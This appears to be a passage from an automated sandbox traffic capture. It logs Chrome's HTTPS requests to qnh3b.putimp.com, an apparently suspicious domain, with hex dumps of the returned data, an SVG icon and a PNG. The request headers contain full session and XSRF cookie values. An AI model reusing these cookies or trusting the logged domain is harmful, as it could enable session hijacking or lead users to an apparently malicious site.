2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 35 33 49 92 24 49 92 24 49 92 24 49 a5 d2 13 1d 20 a3 77 03 3f 06 86 46 07 91 4a e2 19 e0 cb c0 3b 81 b7 07 67 91 ca e4 7f 81 77 00 13 a2 83 48 92 24 49 92 24 49 92 24 49 f3 d4 a5 81 e3 30 e0 62 60 60 74 10 49 52 25 3c 0e ec d9 78 2b 49 92 24 49 92 24 49 92 24 85 eb 8d 0e 90 c1 d1 c0 25 d8 bc 21 49 5a 7a eb 03 b7 03 5b 45 07 91 24 49 92 24 49 92 24 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 Data Ascii: 53I$I$I$I w?FJ;gwH$I$I$I0b``tIR%<x+I$I$I$%!IZz[E$I$I$IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 98 ca 60 2d e0 a7 c4 9f 33 11 35 81 b4 b2 94 24 49 92 24 49 92 24 49 92 54 19 eb 00 93 88 9f 6c eb 74 5d 0b ac 91 61 fc d4 59 cb 93 9a 6e ba 7d 8b 88 4e d7 6c e0 4a dc 26 a5 aa f6 07 c6 13 7f 1e 75 ba 7e 96 63 f0 24 49 92 24 49 92 24 49 92 a4 4e e8 01 ae 23 7e 92 ad 93 f5 32 70 78 e3 73 57 75 f5 02 07 01 0f 11 7f 4e d5 b9 66 03 57 03 af 5f ba c3 a2 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 Data Ascii: `-35$I$I$ITlt]aYn}NlJ&u~c$I$I$IN#~2pxsWuNfW_\@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 99 dc 03 a3 52 5b 03 18 4b fc 79 17 59 d7 00 23 db 1d 48 29 d0 10 e0 1f c4 5f 4b 39 ea e0 cc 63 23 49 92 24 49 92 24 49 92 a4 2e f3 7a e2 27 bd 72 d4 5f 80 01 99 c7 46 e5 b5 12 f0 00 f1 e7 5d 54 cd 01 ce 00 7a db 1d 48 a9 04 de 08 cc 26 fe ba 6a b7 ee c8 3d 30 92 24 49 92 24 49 92 24 49 ea 2e 3f 20 7e d2 ab dd 9a 01 6c 95 7b 60 54 5a cb 92 1a 76 a2 cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a Data Ascii: R[KyY#H)_K9c#I$I$I.z'r_F]TzH&j=0$I$I$I.? ~l{`TZv(Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 00 d6 44 92 a4 ee d6 03 fc 99 f8 7b 74 bb f5 12 b0 72 e6 b1 91 16 e5 63 c4 9f f3 39 ea 90 dc 03 23 29 d6 68 aa b7 2c d0 bc 9a de c8 af 7a fa 04 f1 e7 58 a7 6a 1a 69 89 73 49 cd f9 1a f1 d7 6f ab 75 79 01 e3 21 95 d9 86 a4 c6 db 47 89 bf fe ac f9 75 1f 70 3c e9 29 2d 49 2a 93 cd 48 4f 60 46 7f 9d b4 aa 55 8f 01 97 00 ff 45 fa de 43 92 a4 6e 72 10 f1 f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 Data Ascii: D{trc9#)h,zXjisIouy!Gup<)-IHO`FUECnr\uF3j? !5qIIr}u~RfR/T+GPf7;a~=IZHToWUf?mH"J
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 45 55 5d 1d 4b d5 35 12 f8 31 f0 2b 60 8d e0 2c ea 0e 07 93 26 b4 5c 8d 43 92 54 77 1b 02 57 91 9a cb 37 0d ce 22 49 92 24 49 2a 91 fe 1a 38 d6 01 d6 ee 74 90 0c ae c5 09 f1 3a 38 09 d8 2e 3a 44 81 ee 03 0e 04 66 46 07 91 ba d8 ef 80 d9 d1 21 5a b0 4b 74 00 75 95 fd 49 13 e9 1f 88 0e a2 ae 33 9a b4 1a c7 c5 c0 f0 e0 2c 92 24 15 6d 6f e0 ef c0 59 c0 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 Data Ascii: EU]K51+`,&\CTwW7"I$I*8t:8.:DfF!ZKtuI3,$moYY$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: aa f8 24 ef 3f a2 03 68 a9 6c 07 7c 3c 3a 44 66 53 81 83 80 57 a2 83 48 ca e2 29 60 52 74 88 26 55 f1 be ad e2 1c 0d 7c 2b 3a 84 54 62 a7 03 ef 8a 0e 21 49 52 87 0d 00 2e 05 0e 89 0e 22 49 92 24 49 25 f1 1b 60 6e 1b 75 63 3f ff e6 53 fd fc bd c9 c0 06 4b c8 f2 5e 60 7a 3f 1f 3b be ca 0d 1c 8f 46 07 d0 12 0d 00 ce 6f bc ad 93 a3 70 05 18 a9 6e aa 76 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 Data Ascii: $?hl\|<:DfSWH)`Rt&U\|+:Tb!IR."I$I%`nuc?SK^`z?;FopnvO0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: b1 11 70 5e 74 88 9a 98 02 5c 0d fc 8c d4 b4 51 c5 49 b1 b9 c0 83 8d 3a 9f b4 e4 de de c0 3b 1a b5 72 5c b4 da 18 0c 5c 44 5a f5 64 76 70 16 49 dd ed 24 e0 cc e8 10 1d b0 2c 69 75 a9 91 c0 28 60 0d d2 c3 21 6b 93 b6 12 db 02 57 9c eb b4 23 80 eb 49 df 37 49 92 24 49 92 da 77 26 fd 37 70 2c f1 e7 fe d3 49 2f 0a 57 a5 7c 2a ae 5c b6 25 bd c8 1d 7d 5e e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d Data Ascii: p^t\QI:;r\\DZdvpI$,iu(`!kW#I7I$Iw&7p,I/W\|*\%}^ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}M
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 0d 0a 39 64 37 0d 0a 65 77 37 b0 33 e9 e7 af 09 c1 59 ca ae 17 38 3b 3a 84 24 49 92 24 75 8b 5e aa f7 44 d9 ac e8 00 5d ec 3d a4 49 ed aa 9b 0a 7c 36 3a 84 4a 6b 28 69 59 f9 7b 48 2f e8 75 da 09 b8 aa 42 a4 aa 2d a5 6c 03 47 b5 6d 0a 7c 3a 3a 44 09 3d 09 ec 0e 7c 9d ea 5d 93 55 36 06 d8 1e f8 59 74 90 12 3a 11 bf de 4a 52 1d cd 25 6d 95 b9 09 a9 71 5f 8b b6 0b 70 60 74 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 Data Ascii: 9d7ew73Y8;:$I$u^D]=I\|6:Jk(iY{H/uB-lGm\|::D=\|]U6Yt:JR%mq_p`tI$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!I*D79Y$IFPqGoFP.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49803	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:12 UTC	1108	OUT	GET /ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	746	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NpR9C9Y2dKmjfR0SCgLTK%2BWb%2BPOSIIdc91w0qjeoTLV0y2wAn4053HozD%2FoRNfpE2fqr1oylM5EbWm53vfPwRtF5zT5bxHXYEBwca44zHEAclENDMCu4sEZZSdnwAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a553aaa953b4-ATL
2024-04-16 19:40:13 UTC	623	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 35 20 32 30 2e 39 34 31 32 43 34 33 2e 33 31 32 35 20 31 37 2e 33 33 37 31 20 34 31 2e 30 30 35 35 20 31 34 2e 31 39 34 36 20 33 37 2e 36 37 30 32 20 31 33 2e 30 36 31 38 43 33 37 2e 30 36 30 37 20 35 2e 32 37 31 34 38 20 33 31 2e 31 34 37 20 30 20 32 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 Data Ascii: 5 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L2
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 Data Ascii: .9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 38 2e 37 30 37 32 4c 33 39 2e 34 31 30 32 20 33 36 2e 34 34 38 35 4c 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 5a 4d 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 36 2e 30 38 36 34 20 34 31 2e 34 38 32 32 4c 32 36 2e 30 38 36 31 20 34 31 2e 34 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 Data Ascii: 8.7072L39.4102 36.4485L35.8194 38.2109ZM28.1744 44.8939L26.0864 41.4822L26.0861 41.4824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.48
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 36 39 5a 4d 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 43 33 39 2e 33 31 32 35 20 32 37 2e 34 38 31 36 20 33 37 2e 33 36 35 33 20 33 36 2e 37 37 37 36 20 32 37 2e 30 36 35 32 20 34 33 2e 30 38 31 34 4c 33 31 2e 32 34 31 33 20 34 39 2e 39 30 35 43 34 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 Data Ascii: 69ZM39.3125 21.1287C39.3125 27.4816 37.3653 36.7776 27.0652 43.0814L31.2413 49.905C44.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.03
2024-04-16 19:40:13 UTC	1299	IN	Data Raw: 37 2e 34 37 38 39 20 34 38 2e 32 39 32 37 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 32 31 2e 37 32 35 31 20 34 31 2e 35 31 32 36 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 31 37 2e 34 37 38 39 20 34 38 2e 32 39 32 37 5a 4d 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 Data Ascii: 7.4789 48.2927L17.481 48.2941L21.7251 41.5126L21.723 41.5113L17.4789 48.2927ZM17.4868 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.91
2024-04-16 19:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49802	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:12 UTC	1489	OUT	GET /qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	766	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RgMnoxYCIyKT8SrmX%2BxY0vRqPbjGdvByZod3GpamdKEqf2uMhzXaBxlHNYqIOAI7Bbtd4oWa3d%2F0W1LAQ6Bl0XbLT9lS5qMp%2BkOLf9UfHvclfZ5mZe%2B9FhI2768qlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5536b23b04e-ATL
2024-04-16 19:40:13 UTC	603	IN	Data Raw: 32 64 31 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 Data Ascii: 2d1dPNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RW
